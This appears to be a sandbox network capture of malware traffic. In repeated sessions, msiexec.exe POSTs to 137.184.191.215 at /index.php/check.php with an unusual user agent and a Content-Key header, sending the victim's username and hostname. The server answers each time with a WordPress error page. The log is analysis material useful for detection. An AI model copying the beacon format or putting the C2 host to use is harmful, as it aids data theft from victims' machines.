Oct 2, 2024 07:19:27.547966957 CEST	1236	IN	HTTP/1.0 500 Internal Server Error Date: Wed, 02 Oct 2024 05:19:24 GMT Server: Apache/2.4.52 (Ubuntu) Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Content-Length: 2557 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 69 72 3d 27 6c 74 72 27 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 09 09 09 3c 74 69 74 6c 65 3e 57 6f 72 64 50 72 65 73 73 20 26 72 73 61 71 75 6f 3b 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 09 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 09 09 68 74 6d 6c 20 7b 0a 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 31 66 31 66 31 3b 0a 09 09 7d 0a 09 09 62 6f 64 79 20 7b 0a 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 3b 0a 09 09 09 62 6f 72 64 65 72 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 63 63 64 30 64 34 3b 0a 09 09 09 63 6f 6c 6f 72 3a [TRUNCATED] Data Ascii: <!DOCTYPE html><html dir='ltr'><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta name="viewport" content="width=device-width"><title>WordPress &rsaquo; Error</title><style type="text/css">html {background: #f1f1f1;}body {background: #fff;border: 1px solid #ccd0d4;color: #444;font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;margin: 2em auto;padding: 1em 2em;max-width: 700px;-webkit-box-shadow: 0 1px 1px rgba(0, 0, 0, .04);box-shadow: 0 1px 1px rgba(0, 0, 0, .04);}h1 {border-bottom: 1px solid #dadada;clear: both;color: #666;font-size: 24px;margin: 30px 0 0 0;padding: 0;padding-bottom: 7px;}#error-page {margin-top: 50px;}#error-page p,#error-page .wp-die-message {font-size: 14px;line-height: 1.5;margin: 25px 0 2
Oct 2, 2024 07:19:27.548192024 CEST	1236	IN	Data Raw: 30 70 78 3b 0a 09 09 7d 0a 09 09 23 65 72 72 6f 72 2d 70 61 67 65 20 63 6f 64 65 20 7b 0a 09 09 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 43 6f 6e 73 6f 6c 61 73 2c 20 4d 6f 6e 61 63 6f 2c 20 6d 6f 6e 6f 73 70 61 63 65 3b 0a 09 09 7d 0a 09 09 75 Data Ascii: 0px;}#error-page code {font-family: Consolas, Monaco, monospace;}ul li {margin-bottom: 10px;font-size: 14px ;}a {color: #2271b1;}a:hover,a:active {color: #135e96;}a:focus {color: #043959
Oct 2, 2024 07:19:27.548202991 CEST	366	IN	Data Raw: 66 35 66 36 3b 0a 09 09 09 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 23 37 65 38 39 39 33 3b 0a 09 09 09 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 68 61 64 6f 77 3a 20 6e 6f 6e 65 3b 0a 09 09 09 62 6f 78 2d 73 68 61 64 6f 77 3a 20 6e 6f 6e 65 3b 0a Data Ascii: f5f6;border-color: #7e8993;-webkit-box-shadow: none;box-shadow: none;}</style></head><body id="error-page"><div class="wp-die-message"><p>There has been a critical error on this website.</p><p><a href="https://wordpress
Oct 2, 2024 07:19:27.549618006 CEST	1236	IN	HTTP/1.0 500 Internal Server Error Date: Wed, 02 Oct 2024 05:19:24 GMT Server: Apache/2.4.52 (Ubuntu) Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Content-Length: 2557 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 69 72 3d 27 6c 74 72 27 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 09 09 09 3c 74 69 74 6c 65 3e 57 6f 72 64 50 72 65 73 73 20 26 72 73 61 71 75 6f 3b 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 09 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 09 09 68 74 6d 6c 20 7b 0a 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 31 66 31 66 31 3b 0a 09 09 7d 0a 09 09 62 6f 64 79 20 7b 0a 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 3b 0a 09 09 09 62 6f 72 64 65 72 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 63 63 64 30 64 34 3b 0a 09 09 09 63 6f 6c 6f 72 3a [TRUNCATED] Data Ascii: <!DOCTYPE html><html dir='ltr'><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta name="viewport" content="width=device-width"><title>WordPress &rsaquo; Error</title><style type="text/css">html {background: #f1f1f1;}body {background: #fff;border: 1px solid #ccd0d4;color: #444;font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;margin: 2em auto;padding: 1em 2em;max-width: 700px;-webkit-box-shadow: 0 1px 1px rgba(0, 0, 0, .04);box-shadow: 0 1px 1px rgba(0, 0, 0, .04);}h1 {border-bottom: 1px solid #dadada;clear: both;color: #666;font-size: 24px;margin: 30px 0 0 0;padding: 0;padding-bottom: 7px;}#error-page {margin-top: 50px;}#error-page p,#error-page .wp-die-message {font-size: 14px;line-height: 1.5;margin: 25px 0 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	59090	137.184.191.215	80	8076	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
Oct 2, 2024 07:19:27.697428942 CEST	258	OUT	POST /index.php/check.php?s=am9ntjjw HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 137.184.191.215 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 1A0CD362 Content-Length: 149 Connection: close
Oct 2, 2024 07:19:27.707361937 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 33 00 39 00 30 00 31 00 32 00 30 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones390120JONES-PC0FDD42EE188E931437F4FBE2C
Oct 2, 2024 07:19:30.379097939 CEST	1236	IN	HTTP/1.0 500 Internal Server Error Date: Wed, 02 Oct 2024 05:19:28 GMT Server: Apache/2.4.52 (Ubuntu) Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Content-Length: 2557 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 69 72 3d 27 6c 74 72 27 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 09 09 09 3c 74 69 74 6c 65 3e 57 6f 72 64 50 72 65 73 73 20 26 72 73 61 71 75 6f 3b 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 09 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 09 09 68 74 6d 6c 20 7b 0a 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 31 66 31 66 31 3b 0a 09 09 7d 0a 09 09 62 6f 64 79 20 7b 0a 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 3b 0a 09 09 09 62 6f 72 64 65 72 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 63 63 64 30 64 34 3b 0a 09 09 09 63 6f 6c 6f 72 3a [TRUNCATED] Data Ascii: <!DOCTYPE html><html dir='ltr'><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta name="viewport" content="width=device-width"><title>WordPress &rsaquo; Error</title><style type="text/css">html {background: #f1f1f1;}body {background: #fff;border: 1px solid #ccd0d4;color: #444;font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;margin: 2em auto;padding: 1em 2em;max-width: 700px;-webkit-box-shadow: 0 1px 1px rgba(0, 0, 0, .04);box-shadow: 0 1px 1px rgba(0, 0, 0, .04);}h1 {border-bottom: 1px solid #dadada;clear: both;color: #666;font-size: 24px;margin: 30px 0 0 0;padding: 0;padding-bottom: 7px;}#error-page {margin-top: 50px;}#error-page p,#error-page .wp-die-message {font-size: 14px;line-height: 1.5;margin: 25px 0 2
Oct 2, 2024 07:19:30.379656076 CEST	224	IN	Data Raw: 30 70 78 3b 0a 09 09 7d 0a 09 09 23 65 72 72 6f 72 2d 70 61 67 65 20 63 6f 64 65 20 7b 0a 09 09 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 43 6f 6e 73 6f 6c 61 73 2c 20 4d 6f 6e 61 63 6f 2c 20 6d 6f 6e 6f 73 70 61 63 65 3b 0a 09 09 7d 0a 09 09 75 Data Ascii: 0px;}#error-page code {font-family: Consolas, Monaco, monospace;}ul li {margin-bottom: 10px;font-size: 14px ;}a {color: #2271b1;}a:hover,a:active {color: #135e96;}a:focus
Oct 2, 2024 07:19:30.379667044 CEST	1236	IN	Data Raw: 7b 0a 09 09 09 63 6f 6c 6f 72 3a 20 23 30 34 33 39 35 39 3b 0a 09 09 09 62 6f 78 2d 73 68 61 64 6f 77 3a 20 30 20 30 20 30 20 32 70 78 20 23 32 32 37 31 62 31 3b 0a 09 09 09 6f 75 74 6c 69 6e 65 3a 20 32 70 78 20 73 6f 6c 69 64 20 74 72 61 6e 73 Data Ascii: {color: #043959;box-shadow: 0 0 0 2px #2271b1;outline: 2px solid transparent;}.button {background: #f3f5f6;border: 1px solid #016087;color: #016087;display: inline-block;text-decoration: none;font-size
Oct 2, 2024 07:19:30.380639076 CEST	142	IN	Data Raw: 3d 22 68 74 74 70 73 3a 2f 2f 77 6f 72 64 70 72 65 73 73 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2f 61 72 74 69 63 6c 65 2f 66 61 71 2d 74 72 6f 75 62 6c 65 73 68 6f 6f 74 69 6e 67 2f 22 3e 4c 65 61 72 6e 20 6d 6f 72 65 20 61 62 6f Data Ascii: ="https://wordpress.org/documentation/article/faq-troubleshooting/">Learn more about troubleshooting WordPress.</a></p></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	59091	137.184.191.215	80	8076	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
Oct 2, 2024 07:19:30.545875072 CEST	258	OUT	POST /index.php/check.php?s=am9ntjjw HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 137.184.191.215 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 1A0CD362 Content-Length: 149 Connection: close
Oct 2, 2024 07:19:30.551426888 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 33 00 39 00 30 00 31 00 32 00 30 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones390120JONES-PC0FDD42EE188E931437F4FBE2C
Oct 2, 2024 07:19:33.224482059 CEST	1236	IN	HTTP/1.0 500 Internal Server Error Date: Wed, 02 Oct 2024 05:19:31 GMT Server: Apache/2.4.52 (Ubuntu) Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Content-Length: 2557 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 69 72 3d 27 6c 74 72 27 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 09 09 09 3c 74 69 74 6c 65 3e 57 6f 72 64 50 72 65 73 73 20 26 72 73 61 71 75 6f 3b 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 09 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 09 09 68 74 6d 6c 20 7b 0a 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 31 66 31 66 31 3b 0a 09 09 7d 0a 09 09 62 6f 64 79 20 7b 0a 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 3b 0a 09 09 09 62 6f 72 64 65 72 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 63 63 64 30 64 34 3b 0a 09 09 09 63 6f 6c 6f 72 3a [TRUNCATED] Data Ascii: <!DOCTYPE html><html dir='ltr'><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta name="viewport" content="width=device-width"><title>WordPress &rsaquo; Error</title><style type="text/css">html {background: #f1f1f1;}body {background: #fff;border: 1px solid #ccd0d4;color: #444;font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;margin: 2em auto;padding: 1em 2em;max-width: 700px;-webkit-box-shadow: 0 1px 1px rgba(0, 0, 0, .04);box-shadow: 0 1px 1px rgba(0, 0, 0, .04);}h1 {border-bottom: 1px solid #dadada;clear: both;color: #666;font-size: 24px;margin: 30px 0 0 0;padding: 0;padding-bottom: 7px;}#error-page {margin-top: 50px;}#error-page p,#error-page .wp-die-message {font-size: 14px;line-height: 1.5;margin: 25px 0 2
Oct 2, 2024 07:19:33.224961042 CEST	1236	IN	Data Raw: 30 70 78 3b 0a 09 09 7d 0a 09 09 23 65 72 72 6f 72 2d 70 61 67 65 20 63 6f 64 65 20 7b 0a 09 09 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 43 6f 6e 73 6f 6c 61 73 2c 20 4d 6f 6e 61 63 6f 2c 20 6d 6f 6e 6f 73 70 61 63 65 3b 0a 09 09 7d 0a 09 09 75 Data Ascii: 0px;}#error-page code {font-family: Consolas, Monaco, monospace;}ul li {margin-bottom: 10px;font-size: 14px ;}a {color: #2271b1;}a:hover,a:active {color: #135e96;}a:focus {color: #043959
Oct 2, 2024 07:19:33.224972010 CEST	366	IN	Data Raw: 66 35 66 36 3b 0a 09 09 09 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 23 37 65 38 39 39 33 3b 0a 09 09 09 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 68 61 64 6f 77 3a 20 6e 6f 6e 65 3b 0a 09 09 09 62 6f 78 2d 73 68 61 64 6f 77 3a 20 6e 6f 6e 65 3b 0a Data Ascii: f5f6;border-color: #7e8993;-webkit-box-shadow: none;box-shadow: none;}</style></head><body id="error-page"><div class="wp-die-message"><p>There has been a critical error on this website.</p><p><a href="https://wordpress

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	59092	137.184.191.215	80	8076	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
Oct 2, 2024 07:19:33.388360977 CEST	258	OUT	POST /index.php/check.php?s=am9ntjjw HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 137.184.191.215 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 1A0CD362 Content-Length: 149 Connection: close
Oct 2, 2024 07:19:33.393218040 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 33 00 39 00 30 00 31 00 32 00 30 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones390120JONES-PC0FDD42EE188E931437F4FBE2C
Oct 2, 2024 07:19:36.056476116 CEST	1236	IN	HTTP/1.0 500 Internal Server Error Date: Wed, 02 Oct 2024 05:19:33 GMT Server: Apache/2.4.52 (Ubuntu) Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Content-Length: 2557 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 69 72 3d 27 6c 74 72 27 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 09 09 09 3c 74 69 74 6c 65 3e 57 6f 72 64 50 72 65 73 73 20 26 72 73 61 71 75 6f 3b 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 09 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 09 09 68 74 6d 6c 20 7b 0a 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 31 66 31 66 31 3b 0a 09 09 7d 0a 09 09 62 6f 64 79 20 7b 0a 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 3b 0a 09 09 09 62 6f 72 64 65 72 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 63 63 64 30 64 34 3b 0a 09 09 09 63 6f 6c 6f 72 3a [TRUNCATED] Data Ascii: <!DOCTYPE html><html dir='ltr'><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta name="viewport" content="width=device-width"><title>WordPress &rsaquo; Error</title><style type="text/css">html {background: #f1f1f1;}body {background: #fff;border: 1px solid #ccd0d4;color: #444;font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;margin: 2em auto;padding: 1em 2em;max-width: 700px;-webkit-box-shadow: 0 1px 1px rgba(0, 0, 0, .04);box-shadow: 0 1px 1px rgba(0, 0, 0, .04);}h1 {border-bottom: 1px solid #dadada;clear: both;color: #666;font-size: 24px;margin: 30px 0 0 0;padding: 0;padding-bottom: 7px;}#error-page {margin-top: 50px;}#error-page p,#error-page .wp-die-message {font-size: 14px;line-height: 1.5;margin: 25px 0 2
Oct 2, 2024 07:19:36.056906939 CEST	1236	IN	Data Raw: 30 70 78 3b 0a 09 09 7d 0a 09 09 23 65 72 72 6f 72 2d 70 61 67 65 20 63 6f 64 65 20 7b 0a 09 09 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 43 6f 6e 73 6f 6c 61 73 2c 20 4d 6f 6e 61 63 6f 2c 20 6d 6f 6e 6f 73 70 61 63 65 3b 0a 09 09 7d 0a 09 09 75 Data Ascii: 0px;}#error-page code {font-family: Consolas, Monaco, monospace;}ul li {margin-bottom: 10px;font-size: 14px ;}a {color: #2271b1;}a:hover,a:active {color: #135e96;}a:focus {color: #043959
Oct 2, 2024 07:19:36.056917906 CEST	366	IN	Data Raw: 66 35 66 36 3b 0a 09 09 09 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 23 37 65 38 39 39 33 3b 0a 09 09 09 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 68 61 64 6f 77 3a 20 6e 6f 6e 65 3b 0a 09 09 09 62 6f 78 2d 73 68 61 64 6f 77 3a 20 6e 6f 6e 65 3b 0a Data Ascii: f5f6;border-color: #7e8993;-webkit-box-shadow: none;box-shadow: none;}</style></head><body id="error-page"><div class="wp-die-message"><p>There has been a critical error on this website.</p><p><a href="https://wordpress

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	59093	137.184.191.215	80	8076	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
Oct 2, 2024 07:19:36.215107918 CEST	258	OUT	POST /index.php/check.php?s=am9ntjjw HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 137.184.191.215 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 1A0CD362 Content-Length: 149 Connection: close
Oct 2, 2024 07:19:36.220072031 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 33 00 39 00 30 00 31 00 32 00 30 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones390120JONES-PC0FDD42EE188E931437F4FBE2C
Oct 2, 2024 07:19:38.827873945 CEST	1236	IN	HTTP/1.0 500 Internal Server Error Date: Wed, 02 Oct 2024 05:19:36 GMT Server: Apache/2.4.52 (Ubuntu) Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Content-Length: 2557 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 69 72 3d 27 6c 74 72 27 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 09 09 09 3c 74 69 74 6c 65 3e 57 6f 72 64 50 72 65 73 73 20 26 72 73 61 71 75 6f 3b 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 09 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 09 09 68 74 6d 6c 20 7b 0a 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 31 66 31 66 31 3b 0a 09 09 7d 0a 09 09 62 6f 64 79 20 7b 0a 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 3b 0a 09 09 09 62 6f 72 64 65 72 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 63 63 64 30 64 34 3b 0a 09 09 09 63 6f 6c 6f 72 3a [TRUNCATED] Data Ascii: <!DOCTYPE html><html dir='ltr'><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta name="viewport" content="width=device-width"><title>WordPress &rsaquo; Error</title><style type="text/css">html {background: #f1f1f1;}body {background: #fff;border: 1px solid #ccd0d4;color: #444;font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;margin: 2em auto;padding: 1em 2em;max-width: 700px;-webkit-box-shadow: 0 1px 1px rgba(0, 0, 0, .04);box-shadow: 0 1px 1px rgba(0, 0, 0, .04);}h1 {border-bottom: 1px solid #dadada;clear: both;color: #666;font-size: 24px;margin: 30px 0 0 0;padding: 0;padding-bottom: 7px;}#error-page {margin-top: 50px;}#error-page p,#error-page .wp-die-message {font-size: 14px;line-height: 1.5;margin: 25px 0 2
Oct 2, 2024 07:19:38.828331947 CEST	1236	IN	Data Raw: 30 70 78 3b 0a 09 09 7d 0a 09 09 23 65 72 72 6f 72 2d 70 61 67 65 20 63 6f 64 65 20 7b 0a 09 09 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 43 6f 6e 73 6f 6c 61 73 2c 20 4d 6f 6e 61 63 6f 2c 20 6d 6f 6e 6f 73 70 61 63 65 3b 0a 09 09 7d 0a 09 09 75 Data Ascii: 0px;}#error-page code {font-family: Consolas, Monaco, monospace;}ul li {margin-bottom: 10px;font-size: 14px ;}a {color: #2271b1;}a:hover,a:active {color: #135e96;}a:focus {color: #043959
Oct 2, 2024 07:19:38.828349113 CEST	366	IN	Data Raw: 66 35 66 36 3b 0a 09 09 09 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 23 37 65 38 39 39 33 3b 0a 09 09 09 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 68 61 64 6f 77 3a 20 6e 6f 6e 65 3b 0a 09 09 09 62 6f 78 2d 73 68 61 64 6f 77 3a 20 6e 6f 6e 65 3b 0a Data Ascii: f5f6;border-color: #7e8993;-webkit-box-shadow: none;box-shadow: none;}</style></head><body id="error-page"><div class="wp-die-message"><p>There has been a critical error on this website.</p><p><a href="https://wordpress

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	59094	137.184.191.215	80	8076	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
Oct 2, 2024 07:19:38.970418930 CEST	258	OUT	POST /index.php/check.php?s=am9ntjjw HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 137.184.191.215 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 1A0CD362 Content-Length: 149 Connection: close
Oct 2, 2024 07:19:38.975579023 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 33 00 39 00 30 00 31 00 32 00 30 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones390120JONES-PC0FDD42EE188E931437F4FBE2C
